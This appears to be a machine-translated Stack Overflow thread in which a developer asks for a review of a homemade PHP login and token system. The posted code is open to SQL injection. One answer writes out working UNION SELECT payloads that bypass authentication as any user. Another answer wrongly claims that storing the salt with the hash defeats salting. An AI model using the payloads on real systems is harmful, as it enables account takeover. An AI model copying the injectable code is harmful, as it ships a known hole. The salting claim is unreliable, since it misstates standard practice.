0

我有一个想法让系统登录用户并验证他们在页面上的登录。
我意识到那里有很多系统,但我主要是好奇我的想法是否有用。我已经进行了一些挖掘,但大多数结果似乎都遗漏了我一直认为重要的做法(如密码加密等)。我可能会更加努力地寻找预制解决方案,因为它可能更安全,但我还没有真正研究过应用程序安全性,并希望得到一些反馈。

当用户登录时,他们的姓名和密码将根据数据库进行验证,密码使用 SHA256 和随机生成的 salt 进行加密,即整个字符串(salt 和加密密码均为 128 个字符。长)。这是密码验证代码:

 function ValidatePassword($password, $correctHash)
 {
    $salt = substr($correctHash, 0, 64); //get the salt from the front of the hash
    $validHash = substr($correctHash, 64, 64); //the SHA256

    $testHash = hash("sha256", $salt . $password); //hash the password being tested
    //if the hashes are exactly the same, the password is valid
    return $testHash === $validHash;
}

如果登录有效,则为他们分配一个令牌。该令牌类似于密码加密,但存储了加密的纪元以及另一个随机盐。令牌、登录时间、过期时间和用户名存储在数据库中,用户名和令牌作为会话信息传输。

这是创建令牌的代码:

function loginUser($email)
{
  $thetime = time();
  $ip = $_SERVER['REMOTE_ADDR'];

  $dbuser="///";
  $dbpass="///";
  $dbtable="tokens";
  mysql_connect(localhost,$dbuser,$dbpass);
  mysql_select_db("///") or die( "Unable to select database");

  //Generate a salt
  $salt = bin2hex(mcrypt_create_iv(32, MCRYPT_DEV_URANDOM));
  //Hash the salt and the current time to get a random token
  $hash = hash("sha256", $salt . $password);
  //Prepend the salt to the hash
  $final = $salt . $hash;

  $exptime = $thetime + 3600;

  //Store this value into the db
  $query = "INSERT INTO `spanel`.`tokens` VALUES ('$final', $thetime, $exptime,    $thetime, '$ip', MD5('$email') )";
  mysql_query($query) or die ("Could not create token.");

  //Store the data into session vars
  $_SESSION['spanel_email'] = $email;
  $_SESSION['spanel_token'] = $final;

  return true;

}

当他们到达一个页面时,他们拥有的令牌和用户名将根据数据库进行检查。如果检查良好,则更新过期时间并加载页面。这是代码:

function validateUser($page)
{
  //Grab some vars
  $thetime = time();
  $ip = $_SERVER['REMOTE_ADDR'];
  $token = $_SESSION['spanel_token'];
  $email = $_SESSION['spanel_email'];

  $dbuser="///";
  $dbpass="///";
  $dbtable="tokens";
  mysql_connect(localhost,$dbuser,$dbpass);
  mysql_select_db("///") or die( "Unable to select database");

  //Global var
  //Get the var for token expire
  $token_expire = 3600;
  //Validate the token
  $query = "SELECT * FROM `tokens` WHERE `token` LIKE '$token' AND `user_id` LIKE   MD5('$email') AND `exp` > $thetime";
  $result = mysql_query($query) or die(mysql_error());
  //Check if we have a valid result
  if ( mysql_num_rows($result) != 1 ) {
    //Logout the user
    //Destroy the session
    session_destroy();
    //Redirect
    header("location: /spanel/login.php?denied=1");
    exit();
    //(Since the token is already invalid, there's no reason to reset it as invalid)
  }
  $row = mysql_fetch_assoc($result);

  //Update the token with our lastseen
  $newexp = $thetime + $token_expire;
  $query = "UPDATE `spanel`.`tokens` SET `exp` = $newexp, `lastseen_ip` = $thetime,    `lastseen_ip` = '$ip' WHERE `token` LIKE '$token'";
  mysql_query($query);

}

感谢反馈(好的和坏的)。就像我说的,我没有做太多的安全工作,希望得到指点。

编辑:我担心我高估了我有效创建登录系统的能力。这么说,我理解你是否决定停止试图找出这个可能是有缺陷的想法的混乱局面。

不过,这里是登录页面的 php 代码。(在这里所说的之后,我意识到只是发布密码是一个很大的禁忌)。

    $email = $_POST['email'];
    $password = $_POST['password'];
    $dbuser="///";
    $dbpass="///";
    $dbtable="///";
    mysql_connect(localhost,$dbuser,$dbpass);
    mysql_select_db("spanel") or die( "Unable to select database");
    $query = "SELECT * FROM users WHERE `email` LIKE '$email'";
    $result=mysql_query($query) or die(mysql_error());
    $num=mysql_num_rows($result);
    $row = mysql_fetch_array($result);
    if ( ValidatePassword($password, $row['hash']) == true ) {
      loginUser($email);
      header("location: /spanel/index.php");
    } else {
      echo "<p>Login Failed.</p>";
    }

这是创建帐户时生成密码盐和哈希的位。

 function HashPassword($password)
 {
    $salt = bin2hex(mcrypt_create_iv(32, MCRYPT_DEV_URANDOM)); //get 256 random bits in hex
    $hash = hash("sha256", $salt . $password); //prepend the salt, then hash
    //store the salt and hash in the same string, so only 1 DB column is needed
    $final = $salt . $hash; 
    return $final;
}

感谢您的反馈,我很高兴在这里发现了我缺乏知识的问题,而不是在攻击之后。

4

3 回答 3

1

sivann类似,我也看不到额外spanel_token的原因。它似乎有效地做的只是确保会话在令牌到期后不再有效。由于条件的tokenuser_id的值WHERE都存储在会话中,并且仅在登录期间设置,因此它们不会更改。但是会话过期可以更容易地实现。


但除此之外,更重要的是:您的代码容易受到 SQL 注入的攻击。有了您在此处发布的知识,这将很容易。您只需执行以下步骤:

  • 找出电子邮件 中注入的用户列数:UNION SELECT

    ' UNION SELECT null, …, null WHERE ''='
    

    如果输入了错误的列数,您的脚本将引发 MySQL 错误,否则会出现“登录失败”。会出现。感谢那。

  • 通过使用以下查询:

    SELECT t1.* FROM users t1 RIGHT JOIN (SELECT email, '000000000000000000000000000000000000000000000000000000000000000060e05bd1b195af2f94112fa7197a5c88289058840ce7c6df9693756bc6250f55' hash FROM users LIMIT 1) t2 USING (email);
    

    该值000000000000000000000000000000000000000000000000000000000000000060e05bd1b195af2f94112fa7197a5c88289058840ce7c6df9693756bc6250f55被注入到每条记录中,而不是原始的哈希列值。前导0s 是盐,其余字符串是空密码字符串的加盐 SHA-256 哈希值,这将产生有效密码。

    因此,我们最终为密码字段输入了一个空字符串,在电子邮件字段中输入以下内容:

    ' UNION SELECT t2.* FROM users t1 RIGHT JOIN (SELECT email, '000000000000000000000000000000000000000000000000000000000000000060e05bd1b195af2f94112fa7197a5c88289058840ce7c6df9693756bc6250f55' hash FROM users LIMIT 1) t2 USING (email) WHERE ''='
    

这应该足以像任何用户一样获得“身份验证”。

于 2012-05-15T18:53:56.963 回答
1

一方面,这样的散列是不安全的。sha256 很容易被破解,至少对于短密码来说是这样。您必须使用一些散列拉伸。看看您是否可以找到一些PBKDF2实现或使用 wikipedia 对 sha256 的“for 循环”的建议。此外,我无法通过拥有更多会话变量来实现您的目标。我不明白 validateuser() 做了什么,它仍然依赖于会话 ID,或者我错过了什么。

于 2012-05-14T17:08:25.893 回答
-1

只是评论盐/哈希系统:将盐与密码一起存储在数据库中有点违背了盐渍的目的——如果你的数据库被泄露,从安全的角度来看,盐就变得无用了,因为它可以帮助猜测/打破安全。盐的目的是通过将适当长度的秘密字符串添加到您正在散列的值来增加猜测散列词所需的时间。

于 2012-05-14T17:15:11.633 回答